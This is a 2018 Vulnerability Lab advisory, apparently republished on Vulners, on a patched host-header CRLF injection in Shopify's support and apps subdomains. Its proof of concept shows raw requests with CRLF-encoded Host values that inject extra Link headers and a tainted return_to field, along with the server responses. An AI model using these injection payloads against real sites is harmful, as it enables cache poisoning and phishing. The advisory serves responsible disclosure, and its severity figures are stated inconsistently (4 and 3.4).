Document Title:
===============
Shopify - (Link Return) Client Side Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1550
Release Date:
=============
2018-06-12
Vulnerability Laboratory ID (VL-ID):
====================================
1550
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail
point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online
snowboard store. The company reports that it has 150,000 merchants using its platform, with total gross merchandise volume exceeding $8 billion.
(Copy of the Homepage: https://en.wikipedia.org/wiki/Shopify )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side header inject web vulnerability in the official Shopify online service web-application.
Vulnerability Disclosure Timeline:
==================================
2018-06-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Shopify Inc.
Product: Shopify - Online Service (Web-Application) 2015 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official in the official Shopify online service web-application.
The non-persistent xss vulnerability allows remote attackers to inject own script code to the client-side of the vulnerable online-service module.
The vulnerability is located in the `Link` value of the `apps.shopify.com/ ` and `support.shopify.com/` module. Remote attackers are able to
inject own script codes to client-side application header requests. The attack vector is non persistent and the request method to inject/execute
is GET. The vulnerable source is located in the `apps.shopify.com/ ` and `support.shopify.com/` module when processing to request the link value.
The security risk of the header inject web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the client-side header inject web vulnerability requires no privilege web application user account and low user interaction.
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent
manipulation of affected or connected service modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] apps.shopify.com
[+] support.shopify.com
Vulnerable Parameter(s):
[+] Link value - return
Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attackers without privilege web-application user account.
For security demonstration or to reproduce follow the provided information and steps below to continue.
Note:
An attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.
http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html http://carlos.bueno.org/2008/06/host-header-injection.html
The above links mentioned 2 different ways to exploit this issue:
Web-cache poisoning and/or
Using alternate channels like password reset emails.
1. https://support.shopify.com/
GET / HTTP/1.1
Host: site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/font-woff;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Referer: https://support.shopify.com/assets/application-a83dc650ef348bfa0e545a9644a8536c.css
Origin: https://docs.shopify.com
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 17 May 2015 21:10:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Status: 200 OK
Strict-Transport-Security: max-age=631152000; includeSubdomains
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block; report=/xss-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support
X-Content-Type-Options: nosniff
X-Download-Options: noopen
Link: <https://site.com
Link: ;test=evil.source
Link: test="bugbounty"
Link: />; rel="canonical"
Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:; frame-src 'self' https: data:; img-src 'self'
https: data:; media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self' https: 'unsafe-inline';
report-uri /csp-report/c7a180e2-7745-4ebd-b2ce-ed37f8d392a3?source%5Baction%5D=index&source%5Bcontroller%5D=home&source%5Bsection%5D=support;
ETag: W/"7f7a987b6bb023de447e41cfee8319f1"
Cache-Control: max-age=0, private, must-revalidate
Set-Cookie: support_shopify_com_session=d3g4RWd2dXlVSkhrWTB4UEtwRkFZZWUxUUd4Y3dFcjJrUER3Z1pqUll5U3Fka3dwbkVES3Q0OGpRd1NrSk0yVm5ycG43WFFibDMza1JoRE1OSXVVZE96SlQySlNrN0t3SjVEL1o0MTB0cj
RZMDZKSks2RkJ1UEFYTCtPa1VhRmlVTmpMK1N2SjJiUUZiYUFKdVdFeDUvMGpqVDhaYTlXUmhQQ1pCTEVDZHYvTU9kVEpsWTNOL0pyODFGeEhPWm95LS10QTM0b3BBRzRZQm9PclhYUzQvaDdBPT0%3D--
c5ad1f89e76867a62b6ed3abf421c652e6fd70cd; path=/; secure; HttpOnly
X-Request-Id: c7a180e2-7745-4ebd-b2ce-ed37f8d392a3
X-Runtime: 0.009336
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 21674
<!DOCTYPE html>
<html>
<head>
<title>Support</title>
<meta name="google-site-verification" content="Qu2Oloy2MEBgLgnmmmCTQ-0TuRH40OIOx63D8L8MbYQ" />
<link rel="stylesheet" media="all" href="https://support.shopify.com/assets/application-a83dc650ef348bfa0e545a9644a8536c.css" data-turbolinks-track="true" />
<script src="https://support.shopify.com/assets/application-ad2b4b9e87c36329d5d1c8260c4e9fc3.js" data-turbolinks-track="true"></script>
<link rel="shortcut icon" type="image/x-icon" href="https://support.shopify.com/assets/favicon-40141eebe2a9da231b8cfa09b91684a4.ico" />
<meta name="csrf-param" content="authenticitytoken" />
<meta name="csrf-token" content="nzdtbz+8Q8p194jUK01GEbgrfSl/1yEJELGMWiG84Ms75SL63rZ0SIsmXq71iEd4sWCEOFRRWIbiHafLXlUQuw==" />
<link rel="canonical" href="https://site.com
;test=evil.source
test="bugbounty"
/" />
</head>
<form name="authentication-form" action="https://tasker-merchant-auth.herokuapp.com/auth/shopify"
accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" />
<input type="hidden" name="auth_type" id="auth_type" value="phone" />
<input type="hidden" name="return_to" id="return_to" value="https://site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a/" />
<label for="shop">Store URL:</label>
<input type="text" name="shop" id="shop" placeholder="your-shop-url.myshopify.com" class="authentication-shop" />
<span class="shop-error"></span>
<input type="submit" name="commit" value="Authenticate" class="button-secondary btn-submit" />
</form>
Note: Now, you can see the injection point
1. Link: <https://site.com
Link: ;test=evil.source
Link: test="bugbounty"
Link: />; rel="canonical"
2.
<link rel="canonical" href="https://site.com
;test=evil.source
test="bugbounty"
/" />
3.
<input type="hidden" name="return_to" id="return_to" value="https://site.com%0D%0a;test=evil.source%0D%0Atest="bugbounty"%0d%0a/" />
https://apps.shopify.com/
GET / HTTP/1.1
Host: site.com%0D%0a;test=evil.source%0D%0A;test="bugbounty"%0d%0a
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://shopify.com
Cookie: ajs_user_id=null; ajs_group_id=null;
Response(s):
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Status: 200 OK
Strict-Transport-Security: max-age=631152000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-Download-Options: noopen
Link: <https://site.com
Link: ;test=evil.source
Link: ;test="bugbounty"
Link: />; rel="canonical"
Content-Security-Policy-Report-Only: default-src 'self' https:; connect-src 'self' https: wss:; font-src 'self' https: data:;
frame-src 'self' https: data:; img-src 'self' https: data:;
media-src 'self' https: data:; object-src 'self' https:; script-src 'self' https: 'unsafe-inline' 'unsafe-eval'; style-src 'self'
https: 'unsafe-inline'; report-uri
/csp-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D=
shopify_applications&source%5Bsection%5D=external-area;
X-XSS-Protection: 1; mode=block; report=/xss-report/c8379ed8-6af7-4c00-8fae-b9850ea3576c?source%5Baction%5D=index&source%5Bcontroller%5D=
shopify_applications&source%5Bsection%5D=external-area
ETag: W/"c68f34dcf8f04088c252693e3e55b997"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 679d8da048affe45b090a6da670ffbc6
X-Runtime: 0.021336
X-App-Name: appstore
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 94662
Injection(s):
Link: <https://site.com
Link: ;test=evil.source
Link: ;test="bugbounty"
Link: />; rel="canonical"
Reference(s):
https://apps.shopify.com/
https://support.shopify.com/
Solution - Fix & Patch:
=======================
The full impact of the issue was finally resolved in 2017 Q1-Q2. The disclosure process took about one year after the patch as established.
Security Risk:
==============
The security risk of the header inject web vulnerability in the shopify online service web-application is estimated as medium (cvss 3.4).
Credits & Authors:
==================
Vulnerability Laboratory [Core Research Team] - ([email protected]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation